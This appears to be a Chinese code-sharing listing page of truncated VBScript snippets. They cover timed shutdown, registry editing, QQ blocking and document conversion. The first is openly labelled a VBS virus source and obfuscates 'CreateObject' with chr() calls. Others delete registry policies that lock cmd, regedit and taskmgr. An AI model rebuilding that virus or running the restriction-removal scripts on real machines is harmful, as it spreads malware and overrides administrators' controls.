2020-02-16 标签:vbs,病毒,源文件,rem,rhl,dim,fs,r,ss,w,reg,regpath,dvbs,ddd,set,chr,67,reate,obj,101

rem vbs.rhl Dim fs,r,ss,w,reg,regpath,dvbs ddd="Set fs =" &chr(67) & "reate" & "Obj" & chr(101) & "c" & chr(116) & chr(40)

2020-02-16 标签:vbs,循环,产生,参数,传递,问题,set,objfso,scripting,objfile,d,txt,wshshell,wscript,shell

Set objFSO = CreateObject("Scripting.FileSystemObject")Set objFile = objFSO.OpenTextFile("d:\1\0.txt", 1) set WshShell = WScript.CreateObject("WScript

2020-02-16 标签:写的,定时,关机,重启,vbs,脚本,dim,actionid,注销,actiontime,2006,13,42,30,时间,function

dim ActionID ActionID = 1'0注销，1关机，2重启, ActionTime = "2006-1-4 13:42:30"'关机或重启时间 function ShutDown()dim objShellSet objShell = WScript.CreateObject("Ws

2020-02-16 标签:vbs,实现,解除,注册表,cmd,regedit,taskmgr,限制,脚本,代码,error,resume,next,set,wshshell,wscript,shell,regdelete,hkcu

On Error Resume Next Set WSHShell=WScript.CreateObject("WScript.Shell") With WScript.CreateObject("WScript.Shell") .RegDelete"HKCU\Software\Microsoft\

2020-02-16 标签:vbs,实现,注册表,开关,脚本,dim,wshshell,r,m,v,t,g,i,error,resume,next,set,wscript,shell

Dim WSHShell,r,M,v,t,g,i On Error Resume Next Set WSHShell=WScript.CreateObject("WScript.Shell") v="HKCU\Software\Microsoft\Windows\CurrentVersion\ Po

2020-02-16 标签:禁止,qq,上网,vbs,脚本,代码,dim,bag,pipe,honker,good,set,getobject,winmgmts,root,cimv,execquery,select,win

dim bag,pipe,honker,good do good="." set bag=getobject("winmgmts:\\"&good&"\root\cimv2") set pipe=bag.execquery("select * from win32_process w

2020-02-16 标签:vbs,代替,bat,cmd,文件,进行,命令,自动,导入,注册表,检测,error,resume,next,dim,msg,fso,shell,set

自动导入注册表的，带检测： On Error Resume Next dim msg,fso,shell Set fso = Wscript.createｏｂｊｅｃｔ("scripting.filesystemｏｂｊｅｃｔ") set wshshell = wscript.CreateObject(

2020-02-16 标签:vbs,操作,注册表,实例,代码,打开,关闭,cmd,dim,wshshell,r,m,v,t,g,i,error,resume,next,set

打开或关闭CMD：Dim WSHShell, r, m, v, t, g Dim i On Error Resume Next Set WSHShell=WScript.CreateObject("WScript.Shell") v="HKEY_CURRENT_USER\Software\Polic

2020-02-16 标签:vbs,查找,硬盘,分区,指定,程序,代码,error,resume,next,忽略,错误,dim,filename,声明,变量,re,set,new,regexp

On Error Resume Next '忽略所有错误 Dim filename '声明变量 Dim re Set re=New RegExp '建立正则表达式对象实例 re.Pattern="^([a-z]|[A-Z])+\:\\\w+\.vbs$" If re.Test(WScript.Scr

2020-02-16 标签:vbs,实现,doc,转为,文本文档,代码,打开,记事本,输入,如下,error,resume,next,set,args,wscript,arguments,arg,w

打开记事本输入：实现代码如下：ON ERROR RESUME NEXTset args=wscript.argumentsarg=args(0)set w=createobject("word.application")set fso=createobject("scripting.filesyst